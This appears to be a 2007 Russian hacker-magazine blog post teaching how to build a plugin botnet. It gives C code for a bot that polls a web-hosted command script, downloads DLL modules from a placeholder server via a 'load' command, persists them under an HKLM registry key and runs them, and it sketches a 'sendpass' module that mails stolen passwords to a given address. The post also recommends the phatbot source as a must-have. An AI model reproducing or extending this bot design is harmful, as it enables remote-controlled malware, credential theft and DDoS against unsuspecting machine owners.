пятница, 20 апреля 2007 г.

Умный ботнет

Просто, но со вкусом, о создании плагинного ботнета

Основным недостатком современных public-ботнетов является почти полная невозможность добавления в сеть новой функции. Сложность даже не в модификации исходного кода бота – с этим справится любой более-менее продвинутый кодер, а в его переустановке. Если админу для этого надо оббежать все машины в сети, то хакеру обычно проще новую сеть собрать. Таких проблем не стало бы, будь ботнет плагинным с динамической подкачкой модулей.

Ботнет – это распределенная сеть ботов. Чем различаются бот и какой-нибудь RAT (Remote Administration Tool)? По возможностям, пожалуй, ничем. А по принципу управления отличия кардинальны. Обычно ты командуешь одной RAT за раз – скопировать\переместить\удалить\настроить – все на одной машине. Если машин 500, и на каждой надо, например, поправить какие-нибудь настройки? Стандартными способами тут уже не обойтись. Поэтому и были придуманы боты, фактически те же RAT, только управляемые сервером. Скомандовал сервер: «Всем выключиться», все и выключились. Не надо к каждой машине коннектиться и объяснять, в чем дело и что делать.

Такой подход, надо признать, невероятно удобен всем. Админам – одновременно все компьютеры в локальной сети настраивать, хакерам – управлять DDoS’ом и перебирать пароли, физикам-математикам – что-нибудь обсчитывать глобальное (ведь распределенные вычисления из той же оперы). Задачи у всех разные, на них останавливаться я не стану. Я просто постараюсь объяснить, как можно написать универсальный бот, который сможет удовлетворить (гусары, молчать!) потребности любого человека, способного написать примитивную динамическую библиотеку. Я расскажу, как сделать плагинный ботнет.

Команды

Самый простой способ управлять кучей ботов – это заставить их самих скачивать команды с web-сервера раз в какое-то время. Зарегался, скажем, на бесплатном хостинге, положил туда текстовой файл с командами. А бота написал так, чтобы он все время этот файл скачивал, парсил и выполнял. В принципе, так должно быть. Но только есть одна проблема: бот должен знать все команды, описанные в файле. Если он что-то не знает, то просто не выполнит. Логично. Угадать заранее, какие от бота потребуются функции, практически невозможно, т.к. потребности постоянно меняются (бывает даже, что админ становится хакером). Следовательно, надо иметь возможность удаленно, уже после установки ботнета, добавлять (менять, удалять) функции бота. Звучит страшно, но на самом деле все еще страшнее ;).

Пусть, к примеру, у нас есть самый обычный бот, который только и умеет, что пинговать заданный адрес, да выводить пользователю сообщение. Командный скрипт для него может выглядеть следующим образом:

message Сообщение от бота!

pingaddr www.xakep.ru

Такой бот поддерживает всего две команды «message» и «pingaddr». И ничего другого он не поймет. А должен. Надо поправить его таким образом, чтобы его можно было бы обучать новым командам прямо из скрипта. Оказывается, делается это всего лишь внедрением более или менее сносной плагинной (сервисной) системы и новой команды «load», которая бы скачивала модули с остальными командами.

С таким «лоадом» от реализации других команд в самом боте можно отказаться вообще, так как их всех можно будет засунуть в плагины.

Командный скрипт для бота с такой системой преобразуется в нечто следующее:

load messagemodule http://www.server-for-bots.su/message.dll

load pingmodule http://www.server-for-bots.su/ping.dll

message Сообщение от бота!

pingaddr www.xakep.ru

По идее вначале прога скачивает модули, выполненные в виде динамических библиотек, а затем выполняет команды, зашитые в них. При этом никто не мешает ботмастеру написать еще тьму DLL, реализующих его самые разные задумки. Захочет - напишет модуль, отправляющий пароли на мыло, добавит в скрипт пару строк, и будет радоваться.

load sendpass http://www.server-for-bots.su/sendpass.dll

sendpass somemail@very-very-important.hm

Заинтересовал? Тогда можно приступать к разработке этого счастья.

Пишем бот

Бот может управляться отнюдь не только с web-сервера, просто управление с веба – самое простое в реализации. Тут не надо изучать протоколы (как в случае с IRC) и писать сложные программы. Скачал скрипт с помощью wininet и знай себе, парсь его.

Пользоваться API для скачивания в данном случае очень легко:

+ получаешь дескриптор сессии wininet c помощью InternetOpen

+ открываешь урл - InternetOpenUrl

+ и сливаешь все содержимое урла в буфер функцией InternetReadFile.

Получив скрипт, надо как-то разобраться, что в нем и как. Я предлагаю для начала разбить его на строки. Это можно было бы сделать с помощью обычной функции strtok, указав ей в параметре разделители “\n\r”. Но у меня она доверия не вызвала, поэтому я сам реализовал парсинг. Получилось, правда, две функции вместо одной: ParseInit и ParseString. Одна инициализирует парсинг, другая получает указатели на метки разбиения. Но это не суть важно, главное – разбить скрипт на строки, а затем выделить в них первое слово – команду.

[команда] [строка аргументов]

Как ты уже понял, синтаксис скриптов у меня используется простой, поэтому первое слово можно выделить, просто скопировав из строки все символы от начала и до первого пробела.

Получив имя команды, надо посмотреть, зарегистрирована ли она у нас, и если да – выполнить. В коде все это выглядит следующим образом (szPageBuffer – буфер со скриптом):

char *sep = "\n\r";
char *lim = szPageBuffer + lstrlen(szPageBuffer);
char *token;
char *command = 0;
char temp[256];

// инициализируем парсинг
token = ParseInit(szPageBuffer, sep, lim);
if (!token)
return FALSE;
// делим на строки
do {
// копируем строку и делим на команду и аргументы
lstrcpy(temp,token);
command = GetFirstSpace(temp);
if(command != 0) *(command-1) = 0;
// запускаем сервис
if (IsBotnetService(temp))
GetBotnetService(temp)(command);
} while (token = ParseString(token, lim));


Ты заметил функции IsBotnetService и GetBotnetService? Это самое интересное. Сервисом я обозвал структуру, состоящую из имени команды и адреса функции, обрабатывающей аргументы этой команды. Именно манипулируя такими структурами, бот будет определять, когда какой код выполнять и т.п.

Объясню.

У меня есть массив элементов BotnetService:

typedef BOOL (WINAPI *ServiceParser) (PSTR szString);
typedef struct _Service {
char szName[128];
ServiceParser spFunc;
} BotnetService;

В структуре: szName – имя сервиса (команды), а spFunc – это указатель на функцию-парсер сервиса. Когда скрипт парсится, первое слово в строке проверяется на присутсвие в массиве имен сервисов. Если оно там есть, то с помощью GetBotnetService возвращается функция-парсер для команды с таким именем, а затем запускается с параметром – строкой аргументов. По-русски вышесказанное звучит так: бот проверяет, знает ли команду, написанную в строке, и если знает – выполняет ее.

Чтобы бот «понимал» новую команду, нужно внести соответствующую новую запись (имя команды и адрес функции) в массив. Для удобства это действие я засунул в функцию RegisterBotnetService. Она найдет пустое место в массиве и аккуратно запихнет в него данные о сервисе. Использовать ее очень легко, к примеру, регистрация команды load (о ее реализации - ниже) выглядит вот так:

RegisterBotnetService("load", LoadServiceParser);

На случай, если захочется убить или поменять сервис, я также ввел функцию UnregisterBotnetService.

Ключевым моментом в понимании работы сервисной системы бота является понятие «функция-парсер». У некоторых моих приятелей оно вызывает какое-то странное выражение лица и почесывание в затылке. Попытаюсь объяснить, что же это такое.

Когда бот встречает «знакомую» команду в скрипте ему надо выполнить некоторые действия. Увидев, к примеру, “message”, бот должен вызвать функцию MessageBox с определенными параметрами. Увидев “load”,- должен скачать и запустить модуль. И так далее. Все эти действия надо оформить в функцию, которую я окрестил функцией-парсером. Сложность понимания, видимо, тут заключатся в двух вещах.

1) Парсеру передается строка. Что это за строка? Это аргументы! Это то, что идет в скрипте вслед за именем команды. В случае с “message” – это просто выводимое сообщение.

2) Как GetBotnetService возвращает функцию? Разве можно возвращать функцией функцию? Еще как можно! Когда в Си речь идет о функции, имеется в виду ее адрес. Вот и в массиве лежат, и GetBotnetService’ом возвращаются как раз адреса, а не сами функции. Хотя свойствами они обладают теми же, к примеру, можно их «запускать». Чем я, собственно, и занимаюсь в этой строке: GetBotnetService(temp)(command)

Первые скобки – аргументы функции поиска сервиса, вторые – аргумент для возвращенной функции-парсера.

Модули и команда load

Ради чего был весь этот сыр-бор с сервисами? Исключительно ради плагинности ;).

Модуль может обучить ботнет новой команде, только если в ядре бота есть нормальная сервисная система. Ее мы реализовали. Осталось понять, что такое модули, и как их подгружать к ботнету.

Итак, модуль, он же плагин – это, как принято «у взрослых» DLL, динамически подгружаемая библиотека. В ней должен содержаться код, обучающий ботнет новым командам, имя сервиса и функция-парсер. Чтобы код не обломался и сделал все, что от него требуется, ему надо объяснить, где находятся функции для работы с массивом сервисов (они ведь в ядре бота, модуль о них ничего не знает). Самый простой способ это сделать – просто передать библиотеке адреса функций в параметрах некой экспортируемой функции. В ней надо сохранить адреса для дальнейшего использования и зарегистрировать (если это планировалось) новый сервис. В коде такая функция выглядит очень просто:

__declspec(dllexport) BOOL WINAPI InitModule (
BOOL (*a)(char *, ServiceParser),
ServiceParser (*b)(char*),
BOOL (*c)(char *),
BOOL (*d)(char *))
{

RegisterBotnetService = a;
GetBotnetService = b;
IsBotnetService = c;
UnregisterBotnetService = d;
RegisterBotnetService(“message”, MessageServiceParser);
return TRUE;

}

// Функция-парсер для команды message
BOOL WINAPI MessageServiceParser (PSTR szString)
{MessageBox(0,szString,szString,0); return TRUE;}

Подгружаем модуль к каждому боту в сети, передаем адреса сервис-функций через InitModule, регистрируем новую команду. И все – дело сделано: обучили ботнет чему-то новому. Одно только НО – как подгружаем-то? Ведь я так и не показал, как реализовать команду load, так активно юзаемую в начале статьи. Сейчас исправлюсь.

load должна иметь два параметра – имя модуля в системе и линк, откуда этот модуль можно скачать. Опираясь на это, надо написать функцию-парсер. Она - отделит параметры, скачает нужный модуль с линка, запишет его в реестре, подгрузит к боту, а затем найдет и запустит InitModule. Честно говоря, в итоге получается достаточно громоздкий код, приводить который я здесь не буду, но детали объясню.

Скачать модуль можно с помощью уже привычного нам WinInet API. Но что значит «записать в реестре»? Просто информацию о скаченных модулях надо куда-то сохранить, чтобы после перезагрузки системы бот не забыл все, чему его так долго обучали. Оптимальное место для хранения подобной инфы – это реестр. В нем я отвел для наших модулей специальное место, ключ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\botModules. Там через точку с запятой будут располагаться имена файлов скаченных плагинов для бота.

Когда бот при старте захочет подгрузить свои плагины, ему будет достаточно открыть наш ключ с помощью функций работы с реестром (RegCreateKey, RegQueryValueEx etc) и пропарсить его содержимое.

if (RegCreateKey(HKEY_LOCAL_MACHINE, REG_KEY, &hk))
return FALSE;
if(RegQueryValueEx(hk, REG_SUBKEY, 0, 0, (LPBYTE)szRegEntry, &dwBytes))
{ RegCloseKey(hk); return FALSE; }
// получили запись в реестре, парсим
char *sep = ";"; // разделитель
char *lim = szRegEntry + lstrlen(szRegEntry);
char *token;
token = ParseInit(szRegEntry, sep, lim);
if (!token) { RegCloseKey(hk); return FALSE; }
do {
// подгружаю модуль
HMODULE hModule = LoadLibrary(token);
if (!hModule) continue;
// нахожу функцию
LoadFunction InitModule = (LoadFunction)
GetProcAddress(hModule, " InitModule");
if (!InitModule) continue;
// иниализирую модуль
InitModule(RegisterBotnetService, GetBotnetService, IsBotnetService, UnregisterBotnetService);
} while (token = ParseString(token, lim));
RegCloseKey(hk);

После того как команда load скачает модуль и пропишет его в реестре, она делает почти то же самое, что и в этом коде в цикле. А именно - загружает модуль, как обычную динамическую библиотеку, находит в ней функцию инициализации и запускает, не забыв при этом передать адреса функций для работы с сервисами.

Закругляюсь

О реализации плагинного ботнета можно писать континуально много, но ни одна статья или книга не будет так полезна, как исходник. В нем можно самому без малопонятных указаний автора покопаться и во всем разобраться. Поэтому полный исходный код бота (в некоторых местах даже с комментариями), принципы работы которого я пытался объяснить, и парочку примеров модулей ты найдешь на диске. Если в процессе копания сорца или чтения статьи вознинут какие-нибудь вопросы – пиши, обязательно отвечу.

Удачного компилирования.


WEB

Подробнее о скачивании файлов из Сети с помощью WinInet API ты можешь прочесть в MSDN: http://msdn.microsoft.com/library/en-us/wininet/wininet/using_wininet.asp.

INFO

Отличным примером хакерского ботнета является phatbot. Модульный бот, с огромным количеством функций. В p2p-сетях уже давно валяются исходники этого монстра, занимающий аж 59 мегов! Must have.

Комментариев нет: